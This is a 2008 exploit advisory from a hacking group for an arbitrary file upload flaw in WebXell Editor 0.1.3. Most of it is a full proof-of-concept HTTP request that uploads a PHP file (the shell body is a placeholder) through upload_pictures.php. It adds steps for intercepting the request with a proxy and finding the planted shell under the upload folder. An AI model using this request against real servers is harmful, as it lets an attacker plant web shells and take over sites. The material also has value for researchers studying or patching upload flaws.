SecurityReason - WebXell Editor 0.1.3 Arbitrary File Upload Vulnerability

Advisory Text :

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WebXell Editor (upload_pictures.php) Arbitrary File Upload Vulnerability
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,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team
..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'

AUTHOR : CWH Underground
DATE : 7 July 2008
SITE : cwh.citec.us

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APPLICATION : WebXell Editor
VERSION : 0.1.3
VENDOR : N/A
DOWNLOAD :
http://downloads.sourceforge.net/webxelleditor/webXell-0.1.3.zip
#####################################################

--- Arbitrary File Upload ---

This Vulnerability can upload malicious files direct to web server.
Use Web proxy (Webscarab,etc..) to intercept data.

[+] Upload Path: http://[Target]/[webxell_path]/upload_pictures.php

[-] POC Exploit:

POST http://192.168.24.25/webxell/upload_pictures.php HTTP/1.1
Host: 192.168.24.25
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15)
Gecko/20080623 Firefox/2.0.0.15
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q
=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://192.168.24.25/webxell/index.php?file=test.xml
Cookie: storyread[1]=1; PHPSESSID=a663694e586aba414a1b9fb79917891f
Content-Type: multipart/form-data;
boundary=---------------------------278151583918669
Content-length: 241

-----------------------------278151583918669
Content-Disposition: form-data; name="updFile"; filename="phpbug.php"
Content-Type: img/jpeg

<?php
EVIL SHELL SCRIPT
?>
-----------------------------278151583918669--

[+] Shell Script: ***You can intercept file's name with Web proxy that tell
the real name***

[-] Position: http://[target]/[webxell_path]/upload/[Evil_File]

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Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos
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